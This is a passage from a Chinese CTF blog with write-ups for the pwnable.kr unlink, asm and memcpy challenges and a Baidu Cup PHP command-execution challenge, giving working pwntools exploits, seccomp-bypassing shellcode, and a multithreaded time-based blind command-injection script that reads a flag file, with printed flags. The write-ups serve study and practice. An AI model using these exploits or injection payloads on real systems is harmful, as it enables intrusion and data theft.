80485ec: 83 ec 0c sub $0xc,%esp
80485ef: ff 75 f4 pushl -0xc(%ebp)
80485f2: e8 0d ff ff ff call 8048504 <unlink>
80485f7: 83 c4 10 add $0x10,%esp
80485fa: b8 00 00 00 00 mov $0x0,%eax
80485ff: 8b 4d fc mov -0x4(%ebp),%ecx
8048602: c9 leave
8048603: 8d 61 fc lea -0x4(%ecx),%esp
8048606: c3 ret
8048607: 66 90 xchg %ax,%ax
8048609: 66 90 xchg %ax,%ax
804860b: 66 90 xchg %ax,%ax
804860d: 66 90 xchg %ax,%ax
804860f: 90 nop

可以发现A,B,C三个节点的栈地址分别是ebp-0x14,ebp-0xc,ebp-0x10,在函数结尾发现ret指令之前是lea -0x4(%ecx),%esp,说明esp最后会被ecx修改,而ecx又会被指令mov -0x4(%ebp),%ecx修改。于是要想把esp所表示地址的内容改为shell的地址,可以通过更改ebp-4的内容为shell地址+4来实现,而ebp-4的地址可以通过A地址来计算,它们的相对偏移为ebp-4-(ebp-0x14)=16。则堆块的内存布局如下

1
2
3
4
5
6
7
8
+-------------+--------------+   <= A
| fd | bk |
|shell_addr | aaaa |
+-------------+--------------+ <= B
| aaaaaaaa(chunk size) |
|heap_addr+8+4|stack_addr+16 |
| buf |
+-------------+--------------+

要注意的是题目平台是64位系统,所以存储chunk size信息需要8字节,exp如下

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

context(arch='amd64',os='linux',log_level='info')
s = ssh(host='pwnable.kr',user='unlink',password='guest',port=2222)
shell_addr = 0x080484eb
ss = s.run('./unlink')
ss.recvuntil('here is stack address leak: ')
stack_addr = int(ss.recv(10),16)
ss.recvuntil('here is heap address leak: ')
heap_addr = int(ss.recv(10),16)
ss.sendline(p32(shell_addr)+'a'*12+p32(heap_addr+8+4)+p32(stack_addr+16))
ss.interactive()

1
2
3
4
5
6
7
8
9
10
11
root@kali:~/桌面# python 1.py
[+] Connecting to pwnable.kr on port 2222: Done
[!] Couldn't check security settings on 'pwnable.kr'
[+] Opening new channel: './unlink': Done
[*] Switching to interactive mode
now that you have leaks, get shell!
$ $ ls
flag intended_solution.txt unlink unlink.c
$ $ cat flag
conditional_write_what_where_from_unl1nk_explo1t
$ $

总结

做这道题目搜索了很多关于glibc堆管理的相关内容,学到了不少,这里推荐一篇博文,它记录了很多关于软件安全方向的知识链接,很适合学习。另外pwable.kr的第一部分终于做完了,学到了不少基础知识,希望能在二进制的道路上越走越远。

pwnable.kr-asm

发表于 2018-02-14 | 更新于 2018-08-04 | 分类于 CTF | 评论数:

前言

这道题就是写shellcode的

分析

分析源码asm.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>

#define LENGTH 128

void sandbox(){
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
if (ctx == NULL) {
printf("seccomp error\n");
exit(0);
}

seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);

if (seccomp_load(ctx) < 0){
seccomp_release(ctx);
printf("seccomp error\n");
exit(0);
}
seccomp_release(ctx);
}

char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){

setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stdin, 0, _IOLBF, 0);

printf("Welcome to shellcoding practice challenge.\n");
printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
printf("If this does not challenge you. you should play 'asg' challenge :)\n");

char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
memset(sh, 0x90, 0x1000);
memcpy(sh, stub, strlen(stub));

int offset = sizeof(stub);
printf("give me your x64 shellcode: ");
read(0, sh+offset, 1000);

alarm(10);
chroot("/home/asm_pwn"); // you are in chroot jail. so you can't use symlink in /tmp
sandbox();
((void (*)(void))sh)();
return 0;
}

程序就是让输入一段shellcode,然后程序会在一个sandbox沙箱环境下执行这个shellcode。另外shellcode前面的stub也是一段可执行序列,用pwntools的asm模块反汇编看一下就知道这个序列只是将一些寄存器置0,不会影响后面shellcode的执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
>>> print disasm("\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff")
0: 48 dec eax
1: 31 c0 xor eax,eax
3: 48 dec eax
4: 31 db xor ebx,ebx
6: 48 dec eax
7: 31 c9 xor ecx,ecx
9: 48 dec eax
a: 31 d2 xor edx,edx
c: 48 dec eax
d: 31 f6 xor esi,esi
f: 48 dec eax
10: 31 ff xor edi,edi
12: 48 dec eax
13: 31 ed xor ebp,ebp
15: 4d dec ebp
16: 31 c0 xor eax,eax
18: 4d dec ebp
19: 31 c9 xor ecx,ecx
1b: 4d dec ebp
1c: 31 d2 xor edx,edx
1e: 4d dec ebp
1f: 31 db xor ebx,ebx
21: 4d dec ebp
22: 31 e4 xor esp,esp
24: 4d dec ebp
25: 31 ed xor ebp,ebp
27: 4d dec ebp
28: 31 f6 xor esi,esi
2a: 4d dec ebp
2b: 31 ff xor edi,edi
>>>

刚开始做不懂sandbox这个函数啥意思,里面的函数也没见过,于是看了被人的writeup才知道这个函数建立了一个沙箱环境,并且只能执行read,open,write,exit,exit_group这些函数。但是对于读取flag文件来说已经够了。
可以使用open函数打开flag文件,read读取文件内容,write将文件内容写入标准输出1中即可。下面贴出exp

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

context(arch='amd64',os='linux',log_level='info')
con = ssh(host='pwnable.kr',user='asm',password='guest',port=2222)
r = con.connect_remote('localhost',9026)
shellcode = ''
shellcode += shellcraft.pushstr('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong')
shellcode += shellcraft.open('rsp')
shellcode += shellcraft.read('rax','rsp',100)
shellcode += shellcraft.write(1,'rsp',100)
r.recvuntil('give me your x64 shellcode: ')
r.sendline(asm(shellcode))
print r.recvall()

1
2
3
4
5
6
7
8
root@kali:~/桌面# python 1.py
[+] Connecting to pwnable.kr on port 2222: Done
[!] Couldn't check security settings on 'pwnable.kr'
[+] Connecting to localhost:9026 via SSH to pwnable.kr: Done
[+] Receiving all data: Done (100B)
[*] Closed remote connection to localhost:9026 via SSH connection to pwnable.kr
Mak1ng_shelLcodE_i5_veRy_eaSy
lease_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooo

总结

发现pwntools这个Python库很好用,一些基础模块的使用简介。当然看官方文档的话更好,前提是你英语要好,哈哈。

百度杯CTF比赛 十月场-EXEC

发表于 2018-02-13 | 更新于 2018-08-05 | 分类于 CTF | 评论数:

前言

这道题本来要用bash反弹shell的技术的,但是由于没有公网ip的服务器,我就用了命令盲注的方法,特此记录一下。

分析

打开链接题目提示no sign。查看源代码发现这一行

1
<meta language='utf-8' editor='vim'>

于是就想到了vim信息泄露,于是访问.index.php.swp成功下载了源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<html>
<head>
<title>blind cmd exec</title>
<meta language='utf-8' editor='vim'>
</head>
</body>
<img src=pic.gif>
<?php
/*
flag in flag233.php
*/
function check($number)
{
$one = ord('1');
$nine = ord('9');
for ($i = 0; $i < strlen($number); $i++)
{
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
return false;
}
}
return $number == '11259375';
}
if(isset($_GET[sign])&& check($_GET[sign])){
setcookie('auth','tcp tunnel is forbidden!');
if(isset($_POST['cmd'])){
$command=$_POST[cmd];
$result=exec($command);
//echo $result;
}
}else{
die('no sign');
}
?>
</body>
</html>

分析源码,发现可以执行命令,但是没有回显。最先想到的就是bash反弹shell来执行命令,此外题目提示tcp tunnel is forbidden!,就只能反弹到udp的端口了。但是我没有公网ip的服务器咋办啊,于是联想到以前做过的sql盲注这次我来个命令盲注。
页面没有回显,就只能做基于时间的盲注了,脚本总的来说很简单,使用了多线程,下面贴出exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import requests,string,threading

def getLength(url,payload):
data = {}
length = 0
for i in xrange(200):
data['cmd']="a=$(%s);b=${#a};if test $b -eq %d;then sleep 3;fi"%(payload,i)
try:
r = requests.post(url,data=data,timeout=3)
except:
length = i
print "the string length is {}".format(length)
break
return length

def getString(url,payload):
global length,lock,curId,key
data = {}
words = string.uppercase+string.lowercase+string.digits+'/=+'
i = 0
while True:
lock.acquire()
if curId == length:
lock.release()
break
i = curId
curId += 1
lock.release()
for j in words:
data['cmd']="a=$({});b=`expr substr $a {} 1`;if test $b = '{}';then sleep 8;fi".format(payload,i+1,j)
try:
r = requests.post(url,data=data,timeout=8)
except:
key[i] = j
lock.acquire()
print ''.join(key)
lock.release()
break


url = 'http://708ff2d40f1d48a5bef9408daed3fa0665c6180098394883.game.ichunqiu.com/?sign=0xabcdef'
payload = "base64 flag233.php -w 0"
length = getLength(url,payload)
lock = threading.Lock()
curId = 0 #max(curId) = length - 1
key = ['?' for i in xrange(length)]

th=[]
for i in xrange(10):
t = threading.Thread(target=getString,args=(url,payload))
th.append(t)
for t in th:
t.start()
for t in th:
t.join()

需要注意的是,题目使用的shell是sh(dash和bash的区别看这个),所以在字串截取时不能使用bash的${a:1:1}的方式。还有就是在使用expr substr进行子串截取时目标字符串需要是单行的否则会出错,可以配合head和tail命令一行一行读取。这里我使用了base64命令将命令结果编码,防止换行或特殊字符干扰。注意要使用base64 -w 0关闭换行。
最后运行代码获得flag

1
2
3
4
5
6
root@kali:~# echo PD9waHAKCSRmbGFnPSdmbGFne2ExMWM4MjI3LWMyNGItNDAyNC1hMDRhLTdiOGIxOTYxZGM1ZH0nOwo/PgpoaGhoaGhoaGhoaCx0b28geW91bmcgdG9vIHNpbXBsZQo= | base64 -d
<?php
$flag='flag{a11c8227-c24b-4024-a04a-7b8b1961dc5d}';
?>
hhhhhhhhhhh,too young too simple
root@kali:~#

还需要注意的是,由于题目平台资源限制,使用多线程会导致平台反应过慢从而导致盲注的正确性降低。可以通过减少线程或是增大sleep的时间来增加正确率。

总结

算是另辟蹊径了,而且在写代码的时候学到了很多。原来不熟悉,不理解的命令用法更清楚了。但是还要注意的是,时间盲注在注入时间较长时就容易造成误差,有的字节会出错,反正再有别的解决方法时时间盲注不是优先选择的方法。

pwnable.kr-memcpy

发表于 2018-02-13 | 更新于 2018-08-04 | 分类于 CTF | 评论数:

前言

这道题还是参考了别人的writeup,学到了内存对齐的知识。

分析

先分析源代码memcpy.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
// compiled with : gcc -o memcpy memcpy.c -m32 -lm
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <sys/mman.h>
#include <math.h>

unsigned long long rdtsc(){
asm("rdtsc");
}

char* slow_memcpy(char* dest, const char* src, size_t len){
int i;
for (i=0; i<len; i++) {
dest[i] = src[i];
}
return dest;
}

char* fast_memcpy(char* dest, const char* src, size_t len){
size_t i;
// 64-byte block fast copy
if(len >= 64){
i = len / 64;
len &= (64-1);
while(i-- > 0){
__asm__ __volatile__ (
"movdqa (%0), %%xmm0\n"
"movdqa 16(%0), %%xmm1\n"
"movdqa 32(%0), %%xmm2\n"
"movdqa 48(%0), %%xmm3\n"
"movntps %%xmm0, (%1)\n"
"movntps %%xmm1, 16(%1)\n"
"movntps %%xmm2, 32(%1)\n"
"movntps %%xmm3, 48(%1)\n"
::"r"(src),"r"(dest):"memory");
dest += 64;
src += 64;
}
}

// byte-to-byte slow copy
if(len) slow_memcpy(dest, src, len);
return dest;
}

int main(void){

setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stdin, 0, _IOLBF, 0);

printf("Hey, I have a boring assignment for CS class.. :(\n");
printf("The assignment is simple.\n");

printf("-----------------------------------------------------\n");
printf("- What is the best implementation of memcpy? -\n");
printf("- 1. implement your own slow/fast version of memcpy -\n");
printf("- 2. compare them with various size of data -\n");
printf("- 3. conclude your experiment and submit report -\n");
printf("-----------------------------------------------------\n");

printf("This time, just help me out with my experiment and get flag\n");
printf("No fancy hacking, I promise :D\n");

unsigned long long t1, t2;
int e;
char* src;
char* dest;
unsigned int low, high;
unsigned int size;
// allocate memory
char* cache1 = mmap(0, 0x4000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
char* cache2 = mmap(0, 0x4000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
src = mmap(0, 0x2000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);

size_t sizes[10];
int i=0;

// setup experiment parameters
for(e=4; e<14; e++){ // 2^13 = 8K
low = pow(2,e-1);
high = pow(2,e);
printf("specify the memcpy amount between %d ~ %d : ", low, high);
scanf("%d", &size);
if( size < low || size > high ){
printf("don't mess with the experiment.\n");
exit(0);
}
sizes[i++] = size;
}

sleep(1);
printf("ok, lets run the experiment with your configuration\n");
sleep(1);

// run experiment
for(i=0; i<10; i++){
size = sizes[i];
printf("experiment %d : memcpy with buffer size %d\n", i+1, size);
dest = malloc( size );

memcpy(cache1, cache2, 0x4000); // to eliminate cache effect
t1 = rdtsc();
slow_memcpy(dest, src, size); // byte-to-byte memcpy
t2 = rdtsc();
printf("ellapsed CPU cycles for slow_memcpy : %llu\n", t2-t1);

memcpy(cache1, cache2, 0x4000); // to eliminate cache effect
t1 = rdtsc();
fast_memcpy(dest, src, size); // block-to-block memcpy
t2 = rdtsc();
printf("ellapsed CPU cycles for fast_memcpy : %llu\n", t2-t1);
printf("\n");
}

printf("thanks for helping my experiment!\n");
printf("flag : ----- erased in this source code -----\n");
return 0;
}

程序的大概逻辑是比较两个内存复制算法slow_memcpy和fast_memcpy的效率。其中,程序要求输入10次要分配的内存大小,每次大小都限定在两个相邻的2的幂次之间,并且使用malloc函数来分配内存,如果所有步骤执行完毕程序会在最后输出flag。
先是按照要求跑一遍程序,发现程序最后会在某一次比较中突然停下,也就是说程序异常退出了。当时真不知道咋回事,也没有自己编译调试程序,于是便参考了人家的writeup,并有了思路。

  • fast_memcpy函数中用于内存复制的两个指令movdqa和movntps他们的操作数如果是内存地址的话,那么这个地址必须是16字节对齐的,否则会产生一般保护性异常导致程序退出。
  • malloc在分配内存时它实际上还会多分配4字节用于存储堆块信息,所以如果分配a字节实际上分配的是a+4字节。另外32位系统上该函数分配的内存是以8字节对齐的。

有了这两点就知道程序的异常退出是因为分配的内存没有16字节对齐,那么要getflag只需要每次分配的内存地址能够被16整除就可以了(实际上由于malloc函数分配的内存8字节对齐,只要内存大小除以16的余数大于9就可以了)。下面贴出exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from socket import *
import time

def work():
host = 'pwnable.kr'
port = 9022

sock = socket(AF_INET,SOCK_STREAM)
sock.connect((host,port))

print sock.recv(100)
for i in xrange(4,14):
tmp = 2**i-4
print sock.recv(1024),tmp
time.sleep(1)
sock.send(str(tmp)+'\n')

while True:
r = sock.recv(1024)
if r:
print r
time.sleep(0.5)
else:
break

work()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
C:\Users\admin\Desktop>python 2.py
Hey, I have a boring assignment for CS class.. :(

The assignment is simple.
-----------------------------------------------------
- What is the best implementation of memcpy? -
- 1. implement your own slow/fast version of memcpy -
- 2. compare them with various size of data -
- 3. conclude your experiment and submit report -
-----------------------------------------------------
This time, just help me out with my experiment and get flag
No fancy hacking, I promise :D
specify the memcpy amount between 8 ~ 16 : 12
specify the memcpy amount between 16 ~ 32 : 28
specify the memcpy amount between 32 ~ 64 : 60
specify the memcpy amount between 64 ~ 128 : 124
specify the memcpy amount between 128 ~ 256 : 252
specify the memcpy amount between 256 ~ 512 : 508
specify the memcpy amount between 512 ~ 1024 : 1020
specify the memcpy amount between 1024 ~ 2048 : 2044
specify the memcpy amount between 2048 ~ 4096 : 4092
specify the memcpy amount between 4096 ~ 8192 : 8188
ok, lets run the experiment with your configuration


experiment 1 : memcpy with buffer size 12
ellapsed CPU cycles for slow_memcpy : 1251
ellapsed CPU cycles for fast_memcpy : 420

experiment 2 : memcpy with buffer size 28
ellapsed CPU cycles for slow_memcpy : 414
ellapsed CPU cycles for fast_memcpy : 405

experiment 3 : memcpy with buffer size 60
ellapsed CPU cycles for slow_memcpy : 795
ellapsed CPU cycles for fast_memcpy : 759

experiment 4 : memcpy with buffer size 124
ellapsed CPU cycles for slow_memcpy : 1539
ellapsed CPU cycles for fast_memcpy : 807

experiment 5 : memcpy with buffer size 252
ellapsed CPU cycles for slow_memcpy : 3054
ellapsed CPU cycles for fast_memcpy : 825

experiment 6 : memcpy with buffer size 508
ellapsed CPU cycles for slow_memcpy : 6147
ellapsed CPU cycles for fast_memcpy : 879

experiment 7 : memcpy with buffer size 1020
ellapsed CPU cycles for slow_memcpy : 12384
ellapsed CPU cycles for fast_memcpy : 999

experiment 8 : memcpy with buffer size 2044
ellapsed CPU cycles for slow_memcpy : 24120
ellapsed CPU cycles for fast_memcpy
: 1389

experiment 9 : memcpy with buffer size 4092
ellapsed CPU cycles for slow_memcpy : 50781
ellapsed CPU cycles for fast_memcpy : 2184

experiment 10 : memcpy with buffer size 8188
ellapsed CPU cycles for slow_memcpy : 105690
ellapsed CPU cycles for fast_memcpy : 3801

thanks for helping my experiment!
flag : 1_w4nn4_br34K_th3_m3m0ry_4lignm3nt


C:\Users\admin\Desktop>

总结

通过这道题又学习到了新知识。学到了两个命令,以及32位系统上malloc函数分配时另加4字节的堆块信息内存8字节对齐。

123…5

r00tnb

努力学习网络安全技术,喜欢二进制,一直努力但进步甚微。

46 日志
4 分类
6 标签
GitHub E-Mail
友情链接
  • 还没有T_T
© 2018 r00tnb
博客全站共53.3k字